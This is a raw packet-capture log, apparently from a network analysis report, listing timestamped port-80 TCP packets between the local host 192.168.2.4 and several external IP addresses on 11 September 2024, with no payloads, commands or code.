Sep 11, 2024 16:22:17.441935062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441941977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.441947937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441962004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.441966057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.441991091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.442012072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.443990946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444004059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444015026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444051027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444082022 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444127083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444139004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444156885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444169044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444173098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444185972 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444195986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444209099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444211006 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444221020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444250107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444268942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444444895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444458008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444470882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444489956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444490910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444503069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444510937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444550037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444926023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444936991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444947004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.444979906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.444998026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445005894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445019007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445048094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445064068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445079088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445091009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445101023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445112944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445122004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445126057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445142984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445173025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445179939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445184946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445197105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445211887 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445245028 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445651054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445662975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445705891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.445858002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.445909977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.446192980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.446244955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.446366072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.446413040 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.446536064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.446547031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.446582079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.446598053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.447889090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.447948933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448038101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448086023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448117018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448162079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448302031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448348999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448484898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448532104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448637962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448648930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448688030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448786020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448797941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448838949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.448873997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.448926926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449012995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449033022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449043989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449055910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449068069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449069977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449079037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449090958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449100971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449100971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449112892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449124098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449125051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449136972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449145079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449153900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449165106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449166059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449177027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449187040 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449189901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449203014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449213982 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449220896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449224949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449239016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449250937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449259043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449261904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449274063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449282885 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449294090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449305058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449306011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449316025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449327946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449338913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449337959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449348927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449361086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449373007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449383974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449414015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449475050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449512005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449660063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449671030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449681997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449692011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.449700117 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449722052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.449755907 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.450467110 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450476885 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450489998 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450501919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450512886 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450524092 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450524092 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.450536013 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450558901 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.450581074 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.450638056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.450649023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.450660944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.450675011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.450681925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.450687885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.450715065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.450746059 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.450803995 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450814962 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450825930 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450836897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450849056 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450850964 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.450892925 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.450980902 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.450992107 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451001883 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451013088 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451025963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451029062 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451037884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451051950 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451077938 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451314926 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451325893 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451337099 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451347113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451358080 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451361895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451371908 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451390028 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451406002 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451421022 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451436043 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451468945 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451481104 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451492071 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451504946 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451515913 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451517105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451529980 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451555014 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451577902 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451617956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451631069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451647997 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451659918 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451668024 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451672077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451685905 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451702118 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451725960 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.451782942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.451793909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.451832056 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.451972961 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451983929 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.451998949 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452011108 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452016115 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452023983 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452053070 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452086926 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452116966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452127934 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452140093 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452151060 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452162027 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452162981 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452198982 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452306032 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452316999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452327967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452354908 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452382088 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452482939 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452495098 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452506065 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452517986 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452531099 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452538967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452553034 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452564001 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452565908 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452594042 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452615976 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452749014 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452760935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452769995 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452781916 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452792883 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452792883 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452805042 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452816963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452819109 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452856064 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452915907 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452928066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452939987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452950954 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452955008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.452965021 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452976942 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.452991009 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.453025103 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.453094006 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453104973 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453119040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453131914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453145027 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.453174114 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.453243017 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453254938 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.453280926 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.453313112 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.454129934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454142094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454154968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454165936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454176903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454183102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454189062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454201937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454220057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454246044 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454257965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454271078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454282045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454293966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454298973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454334974 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454451084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454463005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454492092 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454523087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454679966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454724073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454792976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454802990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454813957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454829931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454837084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454842091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454869032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454890013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.454935074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454946041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.454978943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.484707117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484797955 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.484875917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484886885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484898090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484910011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484920979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.484924078 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.484952927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485004902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485011101 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485017061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485063076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485063076 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485187054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485198975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485208988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485220909 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485246897 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485290051 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485441923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485452890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485498905 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485605955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485615969 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485680103 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485680103 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485790968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485800982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485811949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485822916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485833883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485845089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485855103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.485856056 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485891104 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.485891104 CEST	49737	80	192.168.2.4	31.41.244.9
